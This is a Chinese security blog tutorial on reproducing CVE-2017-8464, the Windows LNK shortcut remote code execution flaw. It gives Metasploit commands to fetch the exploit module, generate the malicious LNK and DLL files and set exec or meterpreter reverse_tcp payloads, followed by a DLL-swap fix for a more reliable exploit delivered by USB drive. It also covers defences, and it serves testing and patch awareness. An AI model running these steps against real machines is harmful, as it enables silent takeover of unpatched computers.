Windows Lnk遠程代碼執行漏洞利用測試
0x00 前言
北京時間6月14日凌晨,微軟發布編號為CVE-2017-8464的漏洞公告,官方介紹Windows系統在解析快捷方式時存在遠程執行任意代碼的高危漏洞,黑客可以通過U盤、網路共享等途徑觸發漏洞,完全控制用戶系統,安全風險高危。
該漏洞的原理同2010年據稱美國和以色列入侵併破壞伊朗核設施的震網行動中所使用的震網病毒(Stuxnet)非常相似,所以也被一些人稱為「震網三代」。
然而,通過百度搜索關鍵詞「cve-2017-8464復現」找到的國內一些文章,對該漏洞的復現存在誤解,錯把通過快捷方式執行powershell代碼當作了該漏洞的利用方法。
所以,本文將要糾正這個錯誤。並且,目前可供測試的msf利用腳本存在一個bug,漏洞觸發後進程explorer.exe崩潰,漏洞利用不夠完美。考慮到距補丁公開日期已經超過45天,所以本文將要公開利用腳本中bug的修復方法,實現該漏洞的「完美利用」。
0x01 簡介
本文將要介紹以下內容:
· 漏洞簡介
· 漏洞測試
· bug修復
· 防禦
0x02 漏洞簡介
該漏洞是一個微軟Windows系統處理LNK文件過程中發生的遠程代碼執行漏洞。
當存在漏洞的電腦被插上存在病毒木馬的U盤時,不需要任何額外操作,漏洞攻擊程序就可以藉此完全控制用戶的電腦系統。
該漏洞也可能籍由用戶訪問網路共享、從互聯網下載、拷貝文件等操作被觸發和利用攻擊。
也就是說,漏洞可以在以下任一條件下觸發:
1、系統開啟U盤自動播放功能,插入U盤,漏洞觸發
2、通過網路共享訪問該文件目錄
3、直接訪問該文件目錄
0x03 漏洞測試
目前公開渠道可供測試利用的腳本有如下兩個:
1、msf利用腳本
作者:ykoster
下載地址:https://github.com/rapid7/metasploit-framework/pull/8767
2、python利用腳本
作者:nixawk
下載地址:https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py
本文著重測試msf腳本,將exp拷貝至U盤,測試通過U盤觸發漏洞的利用方法
實際測試:
測試系統: kali 2.0
1、下載msf腳本
cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
2、生成exp
use exploits/windows/fileformat/cve_2017_8464_lnk_rceset payload windows/x64/execset cmd calc.exeset EXITFUNC threadexploit
註:
msf腳本默認對應系統Windows x64,所以payload也選擇64位的exec
參數設置如下圖
執行後,在/root/.msf4/local/生成24個利用文件,如下圖
命令如下:
cp -r /root/.msf4/local/ /root/1
複製文件,如下圖
將以上文件複製到U盤,在另一未打補丁的Win7 x64系統測試
3、測試
成功執行calc.exe,但是進程explorer.exe崩潰
如下圖
註:
U盤內的利用腳本可通過格式化U盤刪除
接著又分別做了如下測試:
· 測試Win10 x64
· 更換payload: set payload windows/x64/meterpreter/reverse_tcp
依舊是同樣的結果
查看github,其他人也遇到了同樣的問題,如下圖
更多回復見:https://github.com/rapid7/metasploit-framework/pull/8767
4、更多測試
嘗試測試32位系統
該腳本支持32位系統,切換命令如下:
set target 1set payload windows/exec
如下圖
但是測試結果不盡人意,依舊失敗
0x04 bug修復
省略調試過程,直接給出一種最簡單的解決方法:更換dll
msf利用腳本共生成24個文件,分別為1個dll文件和23個lnk文件
如下圖
註:對於23個lnk文件,文件名最後一位代表U盤盤符,如果測試系統U盤為E盤,那麼只留下文件名最後一位為"E"的lnk文件就好,其他lnk文件可以刪除
bug產生的原因在於dll,將其換成自己的dll就好
32位可供測試的dll下載地址:
https://github.com/3gstudent/test/blob/master/calc.dll
64位可供測試的dll下載地址:
https://github.com/3gstudent/test/blob/master/calc_x64.dll
不會導致進程explorer.exe崩潰,測試如下圖
插入U盤自動播放觸發漏洞的測試如下圖
GIF/255K
至此,bug成功修復
0x05 防禦
1、安裝補丁
微軟官方補丁下載地址:
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8464
360漏洞補丁修復工具下載地址:
http://b.360.cn/other/stuxnet3fixtool
2、關閉U盤自動播放功能
0x06 小結
本文對CVE-2017-8464的msf利用腳本進行測試,修復其中的bug,在技術層面上,實現對該漏洞的「完美利用」,請勿用於非法用途,在此再次提醒普通用戶勤打補丁的必要。
點擊展開全文
※開槍走火!黑客輕而易舉繞過Armatix智能手槍安防系統
※安卓銀行木馬新增「keylogger」功能,攻擊能力倍增
※華麗變身:亞馬遜Echo智能音箱變成竊聽器
※聚焦九大頂尖安全領域 CSS2017共商網路安全新機遇
※Black Hat 2017:阿里巴巴神秘聲波攻擊智能設備,大疆無人機、小米、三星均中招
TAG:嘶吼RoarTalk |
※ElectronJs遠程代碼執行漏洞
※Cisco WebEx遠程代碼執行漏洞
※Oracle WebLogic Server反序列化遠程代碼執行漏洞成焦點
※Microsoft Office 遠程代碼執行漏洞
※Apache Struts遠程代碼執行漏洞分析
※通過Password Vault的XSS漏洞獲取用戶密碼測試
※Adobe Flash Player發布更新解決遠程代碼執行漏洞
※Microsoft Exchange Server遠程代碼執行漏洞-高危
※黑客可利用 iTunes 監管你的 iPhone;LG設備存在嚴重漏洞;印尼曝Facebook用戶信息被盜
※Mirai變成Miori:IoT殭屍網路通過ThinkPHP遠程代碼執行漏洞傳播
※Unix管理工具Webmin爆有遠程程序代碼執行漏洞
※Alpine Linux APK包管理器遠程代碼執行漏洞分析
※Windows內核漏洞利用提權教程
※ManageEngine Applications Manager 遠程代碼執行漏洞
※WPSeku-Wordpress漏洞掃描工具
※WordPress插件YITH WooCommerce Wishlist SQL注入漏洞
※NodeJS反序列化漏洞利用getshell
※漏洞交易公司Zerodium披露:NoScript漏洞允許在Tor中執行代碼
※Windows任務計劃程序被曝存在0 day漏洞
※iPhone XS存在利用VoiceOver非法入侵漏洞